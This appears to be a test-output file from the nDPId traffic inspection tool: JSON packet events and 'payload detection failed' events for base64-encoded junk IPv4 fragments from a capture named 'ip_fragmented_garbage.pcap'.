+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562201,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562226,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 